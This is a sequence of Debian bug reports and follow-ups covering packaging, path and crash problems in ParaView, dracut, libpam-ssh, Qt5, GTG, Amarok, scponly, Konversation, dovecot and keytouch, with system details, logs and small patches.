Bug#979446: paraview: Lots of Git-LFS pointers in source tarball and Salsa Repository
Package: paraview Version: 5.9.0~rc1-2 Severity: normal Dear Maintainer, the source tarball in Sid [1] and the current debian/latest branch in the Salsa git repository [2] contain many Git-LFS pointers instead of the binary files, e.g.: $ grep -r -l 'https://git-lfs.github.com/spec/v1' paraview-5.9.0~rc1/ paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/sentinel-data paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/simple_poly_bin.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/simple_unstructured_bin.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/empty_poly.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/simple_poly_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/simple_unstructured_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/simple_unstructured_visit_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/empty_unstructured.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/ucd3d.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/unstructured/wedge_cells.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/curvilinear/simple_structured_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/curvilinear/simple_structured_bin.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/fusion.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/fishtank.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/magField.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/fishtank_double_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/fishtank_double_big_endian.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/DoubleGyre_0.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/simple_rectilinear1_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/DoubleGyre_5.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/simple_rectilinear2_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/rectilinear/noise.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/uniform/simple_structured_points_bin.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/uniform/simple_structured_points_visit_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/uniform/simple_structured_points_ascii.vtk paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/uniform/noise paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/data/uniform/noise.bov paraview-5.9.0~rc1/VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/README.md Cloning the Salsa repository fails with: $ git clone https://salsa.debian.org/science-team/paraview.git Cloning into 'paraview'... remote: Enumerating objects: 155527, done. remote: Counting objects: 100% (155527/155527), done. remote: Compressing objects: 100% (53101/53101), done. remote: Total 155527 (delta 103049), reused 147848 (delta 95373), pack-reused 0 Receiving objects: 100% (155527/155527), 204.05 MiB | 5.44 MiB/s, done. Resolving deltas: 100% (103049/103049), done. [attr]our-c-style whitespace=tab-in-indent,-blank-at-eol format.clang-format not allowed: ThirdParty/QtTesting/vtkqttesting/.gitattributes:8 [attr]our-c-style whitespace=tab-in-indent,-blank-at-eol format.clang-format=9 not allowed: ThirdParty/catalyst/vtkcatalyst/catalyst/.gitattributes:4 [attr]our-c-style whitespace=tab-in-indent,-blank-at-eol format.clang-format=8 not allowed: VTK/.gitattributes:10 [attr]our-c-style whitespace=tab-in-indent format.clang-format=9 not allowed: VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/.gitattributes:2 Checking out files: 100% (30301/30301), done. [attr]our-c-style whitespace=tab-in-indent,-blank-at-eol format.clang-format=8 not allowed: VTK/.gitattributes:10 [attr]our-c-style whitespace=tab-in-indent format.clang-format=9 not allowed: VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/.gitattributes:2 Downloading VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/README.md (643 B) Error downloading object: VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/README.md (b30a14a): Smudge error: Error downloading VTK/ThirdParty/vtkm/vtkvtkm/vtk-m/data/README.md (b30a14a308f64c6fc2969e2b959d79dacdc5affda1d1c0e24f8e176304147146): [b30a14a308f64c6fc2969e2b959d79dacdc5affda1d1c0e24f8e176304147146] Object does not exist on the server or you don't have permissions to access it: [404] Object does not exist on the server or you don't have permissions to access it Errors logged to /tmp/asd/paraview/.git/lfs/logs/20210106T212408.997564891.log Use `git lfs logs last` to view the log. error: external filter 'git-lfs
Bug#754062: dracut: module-setup.sh for Plymouth fails due to wrong paths
Source: dracut Severity: normal Tags: patch Dear Maintainer, first let me thank you for providing dracut to debian! Replacing initramfs-tools with dracut went amazingly smooth. There is only one little problem with dracut and plymouth: The current version of dracut (037-2) in Debian Jessie is not able to locate Plymouth. It fails with something like '.../usr/libexec/plymouth/plymouth-populate-initrd: No such file or directory...' when running dracut. The reason can be found in file '/usr/lib/dracut/modules.d/50plymouth/module-setup.sh'. This script is expecting plymouth to be found at '/usr/libexec/...', but this path does not exist in debian. Correct would be e.g. '/usr/lib/x86_64-linux-gnu/...' on amd64. As dracut is not able to locate plymouth it falls back to its own plymouth installation script '/usr/lib/dracut/modules.d/50plymouth/plymouth-populate-initrd.sh'. But that script is faulty too, because it expects a file '/usr/share/pixmaps/system-logo-white.png', which again does not exist in debian. To fix the first error, i've attached a patch to this bug report. This patch changes '.../50plymouth/module-setup.sh' in such a way, that the script first extracts the current system architecture triplet (e.g. 'x86_64-linux-gnu' for amd64) and then uses this information to locate plymouth. However, this requires 'dpkg-architecture' which is part of the 'dpkg-dev' package. Thus the package dependencies need an update, too. Until now i haven't found a satisfying solution without 'dpkg-architecture' :-( Cheers Jakob -- System Information: Debian Release: jessie/sid APT prefers testing-proposed-updates APT policy: (500, 'testing-proposed-updates'), (500, 'testing') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.14-1-amd64 (SMP w/2 CPU cores) Locale: LANG=de_DE.utf8, LC_CTYPE=de_DE.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash --- /usr/lib/dracut/modules.d/50plymouth/module-setup.sh.orig 2014-06-27 11:58:43.387775226 +0200 +++ /usr/lib/dracut/modules.d/50plymouth/module-setup.sh 2014-06-27 12:15:06.687493675 +0200 @@ -15,12 +15,13 @@ # called by dracut install() { -if grep -q nash /usr/libexec/plymouth/plymouth-populate-initrd \ -|| [ ! -x /usr/libexec/plymouth/plymouth-populate-initrd ]; then +DEB_HOST_MULTIARCH=$(dpkg-architecture -qDEB_HOST_MULTIARCH) +if grep -q nash /usr/lib/${DEB_HOST_MULTIARCH}/plymouth/plymouth-populate-initrd \ +|| [ ! -x /usr/lib/${DEB_HOST_MULTIARCH}/plymouth/plymouth-populate-initrd ]; then . $moddir/plymouth-populate-initrd.sh else PLYMOUTH_POPULATE_SOURCE_FUNCTIONS=$dracutfunctions \ -/usr/libexec/plymouth/plymouth-populate-initrd -t $initdir +/usr/lib/${DEB_HOST_MULTIARCH}/plymouth/plymouth-populate-initrd -t $initdir fi inst_hook emergency 50 $moddir/plymouth-emergency.sh
Bug#718435: libpam-ssh: Update readme and manpage to reflect default configuration
Package: libpam-ssh Version: 1.92-15 Severity: minor Dear Maintainer, currently there is no hint in libpam-ssh's manpage, that we don't have to do anything in order to enable it. The readme ([1]) even starts with: As system administrator you have to add a line to the PAM script for each service where you want to use pam_ssh. Somewhere down the file that's corrected (see [2]), but you might move that sentence near to the top. I had these ...pam_ssh.so... lines still in my /etc/pam.d/* files from the old days (etch? lenny?). Somehow i missed the day, when these manual changes became obsolete. Someday i wondered why some ssh-agents didn't terminate on shutdown. Everytime my system had to kill these daemons. After i removed the stuff from /etc/pam.d/* everything works smoothly again. Maybe some hints about this default configuration in the readme and/or manpage would help others to avoid doing the same errors i did. Besides that minor issue everything else works fine for me. Thanks for this nice and helpful package! [1] /usr/share/doc/libpam-ssh/README.Debian [2] This is effectively what is achieved by the default configuration /usr/share/pam-configs/silent-ssh-single-sign-on, see pam-auth-update. Best regards, Jakob M. -- System Information: Debian Release: 7.1 APT prefers unstable APT policy: (650, 'unstable'), (650, 'stable'), (500, 'testing-proposed-updates'), (500, 'stable-updates'), (500, 'proposed-updates') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.2.41-4-amd64-wana (SMP w/4 CPU cores) Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages libpam-ssh depends on: ii libc6 2.13-38 ii libpam-runtime 1.1.3-7.1 ii libpam0g1.1.3-7.1 ii libssl1.0.0 1.0.1e-2 Versions of packages libpam-ssh recommends: ii openssh-client [ssh-client] 1:6.0p1-4 libpam-ssh suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#718343: qtbase-opensource-src: New meta-package depending on all qt5 development packages
Package: qtbase-opensource-src Version: 5.1.0+dfsg-1 Severity: wishlist Dear Maintainer, could you please provide some metapackage depending on or recommending all (main) qt5 development packages? This would ease development because you don't have to install all *-dev and *-dev-tools packages from ... - qtbase-opensource-src - qtdeclarative-opensource-src - qtgraphicaleffects-opensource-src - qtimageformats-opensource-src - qtjsbackend-opensource-src - qtmultimedia-opensource-src - qtquick1-opensource-src - qtscript-opensource-src - qtsvg-opensource-src - qttools-opensource-src - qttranslations-opensource-src - qtwebkit-opensource-src - qtxmlpatterns-opensource-src separately. Some examples i have in mind here are libqt4-dev for qt4 or libboost-all-dev for the boost libraries. Best regards, Jakob M. -- System Information: Debian Release: 7.1 APT prefers unstable APT policy: (650, 'unstable'), (650, 'stable'), (500, 'testing-proposed-updates'), (500, 'stable-updates'), (500, 'proposed-updates') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.2.41-4-amd64-wana (SMP w/4 CPU cores) Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#718348: qtbase5-dev: Unable to configure cmake project using qt5 without qtbase5-private-dev
Package: qtbase5-dev Version: 5.1.0+dfsg-1 Severity: minor Dear Maintainer, please consider this minimal cmake project (CMakeLists.txt): CMAKE_MINIMUM_REQUIRED(VERSION 2.8.9) SET(QT_MIN_VERSION 5.0.1) FIND_PACKAGE(Qt5Core ${QT_MIN_VERSION}) With Qt5 (at time of writing 5.1.0+dfsg-1 is in experimental) you will get this error, if the package qtbase5-private-dev is not installed: CMake Error at /usr/lib/x86_64-linux-gnu/cmake/Qt5Core/Qt5CoreConfig.cmake:15 (message): The imported target Qt5::Core references the file /usr/include/qt5/QtCore/5.1.0 but this file does not exist. Possible reasons include: * The file was deleted, renamed, or moved to another location. * An install or uninstall procedure did not complete successfully. * The installation package was faulty and contained /usr/lib/x86_64-linux-gnu/cmake/Qt5Core/Qt5CoreConfig.cmake but not all the files it references. Call Stack (most recent call first): /usr/lib/x86_64-linux-gnu/cmake/Qt5Core/Qt5CoreConfig.cmake:52 (_qt5_Core_check_file_exists) CMakeLists.txt:6 (FIND_PACKAGE) -- Configuring incomplete, errors occurred! What i excepted was something like that: -- Configuring done -- Generating done -- Build files have been written to: /tmp/test I don't know if this behavior was intended. But it might be more intuitive to just install qtbase5-dev and everything works out of the box. Perhaps a dependency or recommendation in qtbase5-dev on qtbase5-private-dev might help here. Best regards, Jakob M. -- System Information: Debian Release: 7.1 APT prefers unstable APT policy: (650, 'unstable'), (650, 'stable'), (500, 'testing-proposed-updates'), (500, 'stable-updates'), (500, 'proposed-updates') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.2.41-4-amd64-wana (SMP w/4 CPU cores) Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#669872: gtg: GTG 2.9 crashes at startup
Package: gtg Version: 0.2.9-1 Severity: normal Dear Maintainer, after updating gtg from 0.2.4-6 to 0.2.9-1 it crashs at startup, see attached crash-report. To reproduce this bug, try the following: 1.) backup ~/.local/share/gtg/ 2.) create a task with three nested subtasks (e.g. task = subtask = subsubtask = subsubsubtask) 3.) restart gtg (ensure that gtg is not just minimized) Version 3.0 from upstream seems to suffer from the same bug. Kind regards, Jakob -- System Information: Debian Release: wheezy/sid APT prefers unstable APT policy: (650, 'unstable'), (650, 'testing'), (500, 'testing-proposed-updates') Architecture: amd64 (x86_64) Kernel: Linux 3.2.15-2-amd64-wana (SMP w/4 CPU cores) Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages gtg depends on: ii python 2.7.2-10 ii python-configobj 4.7.2+ds-3 ii python-dbus 0.84.0-3 ii python-glade22.24.0-3 ii python-gtk2 2.24.0-3 ii python-liblarch 0.1.0-1 ii python-liblarch-gtk 0.1.0-1 ii python-xdg 0.19-4 Versions of packages gtg recommends: ii python-simplejson 2.5.0-1 Versions of packages gtg suggests: pn python-cheetah 2.4.4-2+b1 pn python-geoclue none pn python-gnomekeyring none pn python-launchpadlib 1.9.12-1 pn python-suds none -- no debconf information gtg.7z Description: application/7z-compressed Traceback (most recent call last): File /usr/lib/python2.7/dist-packages/liblarch/processqueue.py, line 42, in process_queue func(*action[1:]) File /usr/lib/python2.7/dist-packages/liblarch/tree.py, line 230, in _add_node self._callback(node-added, node_id) File /usr/lib/python2.7/dist-packages/liblarch/tree.py, line 80, in _callback func(node_id) File /usr/lib/python2.7/dist-packages/liblarch/filteredtree.py, line 139, in __external_modify return self.__update_node(node_id,direction=both) File /usr/lib/python2.7/dist-packages/liblarch/filteredtree.py, line 203, in __update_node self.__update_node(parent,direction=up) File /usr/lib/python2.7/dist-packages/liblarch/filteredtree.py, line 263, in __update_node self.tree.modify_node(parent) File /usr/lib/python2.7/dist-packages/liblarch/tree.py, line 90, in modify_node self._external_request(self._modify_node, priority, node_id) File /usr/lib/python2.7/dist-packages/liblarch/tree.py, line 110, in _external_request self._queue.process_queue() File /usr/lib/python2.7/dist-packages/liblarch/processqueue.py, line 42, in process_queue func(*action[1:]) File /usr/lib/python2.7/dist-packages/liblarch/tree.py, line 230, in _add_node self._callback(node-added, node_id) File /usr/lib/python2.7/dist-packages/liblarch/tree.py, line 80, in _callback func(node_id) File /usr/lib/python2.7/dist-packages/liblarch/filteredtree.py, line 139, in __external_modify return self.__update_node(node_id,direction=both) File /usr/lib/python2.7/dist-packages/liblarch/filteredtree.py, line 203, in __update_node self.__update_node(parent,direction=up) File /usr/lib/python2.7/dist-packages/liblarch/filteredtree.py, line 239, in __update_node paths = self.get_paths_for_node(node_id) File /usr/lib/python2.7/dist-packages/liblarch/filteredtree.py, line 442, in get_paths_for_node raise Exception(%s is not children of %s\n%s % (node_id, parent_id,str(self.nodes))) Exception: 19f7f82d-cc01-4c46-867b-c024f0017a34 is not children of root*90124810293810238*!@ébpo@@+épboébpon/*»«%«»(+-¡a {'root*90124810293810238*!@\xc3\xa9bpo@@+\xc3\xa9pbo\xc3\xa9bpon/*\xc2\xbb\xc2\xab%\xc2\xab\xc2\xbb(+-\xc2\xa1a': {'parents': [], 'children': []}, '19f7f82d-cc01-4c46-867b-c024f0017a34': {'parents': ['root*90124810293810238*!@\xc3\xa9bpo@@+\xc3\xa9pbo\xc3\xa9bpon/*\xc2\xbb\xc2\xab%\xc2\xab\xc2\xbb(+-\xc2\xa1a'], 'children': []}, 'e1f47b77-c770-44db-97b8-154d98bd8113': {'parents': ['root*90124810293810238*!@\xc3\xa9bpo@@+\xc3\xa9pbo\xc3\xa9bpon/*\xc2\xbb\xc2\xab%\xc2\xab\xc2\xbb(+-\xc2\xa1a'], 'children': []}}
Bug#620351: amarok: unable to set collection path since last upgrade
Package: amarok Version: 2.4.0-2 Followup-For: Bug #620351 Same here. My collection is not located on NFS, but on a regular ext3 partition. Besides that instead of using the internal database, my collection info is stored on my local MySQL Server. Maybe this bug is related to the qt4 upgrade to version 4.7... Best Regards -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (650, 'testing'), (500, 'testing-proposed-updates'), (500, 'proposed-updates'), (150, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.38-2-amd64-wana Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages amarok depends on: ii amarok-common 2.4.0-2 architecture independent files for ii amarok-utils2.4.0-2 utilities for Amarok media player ii kdebase-runtime 4:4.4.5-1runtime components from the offici ii libavcodec524:0.6.1-5FFmpeg codec library ii libavformat52 4:0.6.1-5FFmpeg file format library ii libc6 2.11.2-11Embedded GNU C Library: Shared lib ii libcurl3-gnutls 7.21.3-1 Multi-protocol file transfer libra ii libgcc1 1:4.5.2-4GCC support library ii libgcrypt11 1.4.6-5 LGPL Crypto library - runtime libr ii libglib2.0-02.28.2-1 The GLib library of C routines ii libgpod4-nogtk 0.7.93-0.3 library to read and write songs to ii libgtk2.0-0 2.24.3-1~sid1The GTK+ graphical user interface ii libkdecore5 4:4.4.5-3the KDE Platform Core Library ii libkdeui5 4:4.4.5-3the KDE Platform User Interface Li ii libkdewebkit5 4:4.4.5-3the KDE WebKit Library ii libkdnssd4 4:4.4.5-3the DNS-SD Protocol Library for th ii libkfile4 4:4.4.5-3the File Selection Dialog Library ii libkio5 4:4.4.5-3the Network-enabled File Managemen ii libknewstuff2-4 4:4.4.5-3the Get Hot New Stuff v2 Library ii libknewstuff3-4 4:4.4.5-3the Get Hot New Stuff v3 Library ii libkutils4 4:4.4.5-3various utility classes for the KD ii liblastfm0 0.4.0~git20090710-1 The Last.fm web services library ii libloudmouth1-0 1.4.3-7 Lightweight C Jabber library ii libmtp8 1.0.6-2 Media Transfer Protocol (MTP) libr ii libmysqlclient165.1.49-3 MySQL database client library ii libofa0 0.9.3-3.1Library for acoustic fingerprintin ii libphonon4 4:4.6.0really4.4.4-3 the core library of the Phonon mul ii libplasma3 4:4.4.5-3the Plasma Library for the KDE Pla ii libqca2 2.0.2-1 libraries for the Qt Cryptographic ii libqt4-dbus 4:4.7.2-3Qt 4 D-Bus module ii libqt4-network 4:4.7.2-3Qt 4 network module ii libqt4-script 4:4.7.2-3Qt 4 script module ii libqt4-sql 4:4.7.2-3Qt 4 SQL module ii libqt4-svg 4:4.7.2-3Qt 4 SVG module ii libqt4-xml 4:4.7.2-3Qt 4 XML module ii libqtcore4 4:4.7.2-3Qt 4 core module ii libqtgui4 4:4.7.2-3Qt 4 GUI module ii libqtscript4-core 0.1.0-3 Qt Script bindings for the Qt 4 Co ii libqtscript4-gui0.1.0-3 Qt Script bindings for the Qt 4 Gu ii libqtscript4-networ 0.1.0-3 Qt Script bindings for the Qt 4 Ne ii libqtscript4-sql0.1.0-3 Qt Script bindings for the Qt 4 SQ ii libqtscript4-uitool 0.1.0-3 Qt Script bindings for the Qt 4 Ui ii libqtscript4-xml0.1.0-3 Qt Script bindings for the Qt 4 XM ii libqtwebkit42.1.0~2011week09-3 Web content engine library for Qt ii libsolid4 4:4.4.5-3Solid Library for KDE Platform ii libstdc++6 4.5.2-4 The GNU Standard C++ Library v3 ii libtag-extras1 1.0.1-3 TagLib extras library - support fo ii libtag1c2a 1.6.3-1 TagLib Audio Meta-Data Library ii libthreadweaver44:4.4.5-3the ThreadWeaver Library for the K ii libxml2 2.7.8.dfsg-2 GNOME XML library ii phonon 4:4.6.0really4.4.4-3 metapackage for the Phonon multime ii phonon-backend-xine 4:4.6.0really4.4.4-3 Phonon Xine 1.1.x backend ii zlib1g 1:1.2.3.4.dfsg-3 compression library - runtime Versions of packages amarok recommends: ii kdemultimedia-kio-plugins 4:4.4.5-1 transparent audio CD access for ap Versions of packages amarok suggests: ii libqt4-sql-mysql 4:4.7.2-3 Qt 4 MySQL database driver pn libqt4-sql-psql none (no description available) ii
Bug#536346: scponly_4.8-1(mipsel/unstable): broken build-depends
Martin Zobel-Helas wrote: Package: scponly Version: 4.8-1 Severity: grave There was an error while trying to autobuild your package: Automatic build of scponly_4.8-1 on rem by sbuild/mipsel 99.999 Build started at 20090709-0831 [...] ** Using build dependencies supplied by package: Build-Depends: debhelper (= 7), ssh, autotools-dev WTF?! for what do you need to build-depend on openssh-server? Watch your tone. Things go smoother if you are nice to people. It is needed for SFTP compatibility: ... configure: enabling SFTP compatability... checking for sftp-server... no Can't find path to 'sftp-server' ... scponly has been in the archive since 2004, so that dependency is there 5 years already. If your buildd can't handle it, fix it. According to the buildd log, it crashed while generating the ssh host key: Creating SSH2 RSA key; this may take some time .../var/lib/dpkg/info/openssh-server.postinst: line 153: 22201 Segmentation fault ssh-keygen -q -f $file -N '' $@ Tom A full build log can be found at: http://buildd.debian.org/build.php?arch=mipselpkg=scponlyver=4.8-1 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#441626: scponly: Support --bwlimit option of rsync
Hello, I forwarded this to the scponly mailinglist. Tom Vincent Bernat wrote: Package: scponly Version: 4.6-1 Severity: wishlist Tags: patch Hi ! Using rsync with --bwlimit option is rejected by scponly. Here is a patch that adds support for this option. This patch also includes patch from bug #404996 since it depends on it (having --bwlimit support when rsync is not supported is not very useful). This patch adds '=' to the list of allowed characters. It also adds the special case for --bwlimit: checks that the option begins with --bwlimit= and the remaining characters are numeric. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.22-2-686-bigmem (SMP w/2 CPU cores) Locale: lang=fr...@euro, lc_ctype=fr...@euro (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages scponly depends on: ii debconf [debconf-2.0] 1.5.14Debian configuration management sy ii libc6 2.6.1-2 GNU C Library: Shared libraries ii openssh-server 1:4.6p1-5 secure shell server, an rshd repla ii passwd 1:4.0.18.1-11 change and administer password and ii ssh1:4.6p1-5 secure shell client and server (me scponly recommends no packages. -- debconf information: scponly/chroot: false -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#402278: scponly: insufficient condition checks in setup_chroot.sh
Hello, yes, this is because setup_chroot.sh is generated by automake out of setup_chroot.sh.in and this way tries to be platform independent. It's not a bug, it's a feature :-) Tom -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#404996: scponly: doesn't support rsync
Hi, I'll be uploading scponly-4.8 shortly, yet rsync support is still disabled. I have to look into why the security team disabled it in the first place. I'm working on it... Tom -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#533349: konversation: Spell Checking does not work (sh: aspell: command not found)
Package: konversation Version: 1.1-1 Severity: normal Hello, today a user from a german debian forum reported an error with the spell checking of konversation (http://debianforum.de/forum/viewtopic.php?f=2t=111572p=707181#p707181). I was able to reproduce this error with konversation 1.1 from debian squeeze: Make sure, you dont have aspell installed (which is not required nor recommended by konversation) = start konversation from a open terminal like konsole (!)and connect to a server (you need a open chat window for the spell checking) = write something and right click onto it = choose spell checking = now your misspelled words should be checked, but konversation does nothing. You only get this error from konversation on stdout: sh: aspell: command not found. Could you please add aspell to the dependencies or recommendations of konversation? Sincerely yours, WANA -- System Information: Debian Release: squeeze/sid APT prefers testing APT policy: (650, 'testing'), (500, 'proposed-updates'), (100, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26-2-amd64-16-wana085 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages konversation depends on: ii kdelibs4c2a4:3.5.10.dfsg.1-2 core libraries and binaries for al ii libc6 2.9-12GNU C Library: Shared libraries ii libgcc11:4.4.0-5 GCC support library ii libqt3-mt 3:3.3.8b-5+b1 Qt GUI Library (Threaded runtime v ii libstdc++6 4.4.0-5 The GNU Standard C++ Library v3 ii libx11-6 2:1.2.1-1 X11 client-side library Versions of packages konversation recommends: ii python2.5.4-2An interactive high-level object-o ii ruby 4.2An interpreter of object-oriented Versions of packages konversation suggests: ii libsoap-lite-perl 0.710.08-2 Client and server side SOAP implem -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#528934: dpkg-reconfigure dovecot-common failes, because of missing certificates
Package: dovecot-common Version: 1:1.1.13-2 Severity: normal Hello, some days ago my dovecot ssl certificate is expired. Because of this i wanted to generate a new certificate by doing this: $ find /etc/ssl -name dovecot.* -exec rm {} \; $ dpkg-reconfigure dovecot-common But the last command returns an error: Stopping IMAP/POP3 mail server: dovecot. You already have ssl certs for dovecot. Starting IMAP/POP3 mail server: dovecotError: ssl_cert_file: Can't use /etc/ssl/certs/dovecot.pem: No such file or directory Fatal: Invalid configuration in /etc/dovecot/dovecot.conf failed! To solve this i have to run /var/lib/dpkg/info/dovecot-common.postinst configure manually. Could you please correct dovecot-common.postinst? Or is this behavior wanted? Sincerely Yours WANA -- System Information: Debian Release: squeeze/sid APT prefers testing APT policy: (650, 'testing'), (500, 'proposed-updates'), (100, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26-wana083 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages dovecot-common depends on: ii adduser 3.110 add and remove users and groups ii libbz2-1.0 1.0.5-1 high-quality block-sorting file co ii libc62.9-4 GNU C Library: Shared libraries ii libcomerr2 1.41.3-1common error description library ii libdb4.7 4.7.25-6Berkeley v4.7 Database Libraries [ ii libgssapi-krb5-2 1.6.dfsg.4~beta1-13 MIT Kerberos runtime libraries - k ii libk5crypto3 1.6.dfsg.4~beta1-13 MIT Kerberos runtime libraries - C ii libkrb5-31.6.dfsg.4~beta1-13 MIT Kerberos runtime libraries ii libldap-2.4-22.4.11-1OpenLDAP libraries ii libmysqlclient15off 5.0.51a-24 MySQL database client library ii libpam-runtime 1.0.1-9 Runtime support for the PAM librar ii libpam0g 1.0.1-9 Pluggable Authentication Modules l ii libpq5 8.3.7-1 PostgreSQL C client library ii libsqlite3-0 3.6.13-1SQLite 3 shared library ii libssl0.9.8 0.9.8g-16 SSL shared libraries ii openssl 0.9.8g-16 Secure Socket Layer (SSL) binary a ii ucf 3.0018 Update Configuration File: preserv ii zlib1g 1:1.2.3.3.dfsg-13 compression library - runtime dovecot-common recommends no packages. Versions of packages dovecot-common suggests: ii ntpdate 1:4.2.4p6+dfsg-1 client for setting system time fro -- debconf-show failed -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#480728: keytouch-init: failed to set keycode
Package: keytouch Version: 2.3.2-2.1 Severity: normal Hello, when i started up my computer today, i noticed the following error message: Initializing keytouch: keytouch-initkeytouch-init: Failed to set keycode: keycode 155 to scancode 236 (0xec) keytouch-init: Failed to set keycode: keytouch-init: Failed to set keycode: keycode 213 to scancode 216 (0xd8) keytouch-acpid. This error must be new, a few days ago I carefully checked the entire boot process, because of another error. This keytouch error is reproducable with: $ /etc/init.d/keytouch restart Stopping keytouch: keytouch-acpid. Initializing keytouch: keytouch-initkeytouch-init: Failed to set keycode: keycode 155 to scancode 236 (0xec) keytouch-init: Failed to set keycode: keytouch-init: Failed to set keycode: keycode 213 to scancode 216 (0xd8) keytouch-acpid. I am using a Logitech Bluetooth Cordless Desktop MX ( http://www.amazon.com/Logitech-Bluetooth-Cordless-Keyboard-967301-0403/dp/BCFY8C ), which consists of a Logitech Cordless Elite Keyboard (for Bluetooth), a Logitech MX900 Bluetooth Optical Mouse and a Bluetooth USB Dongle. This set 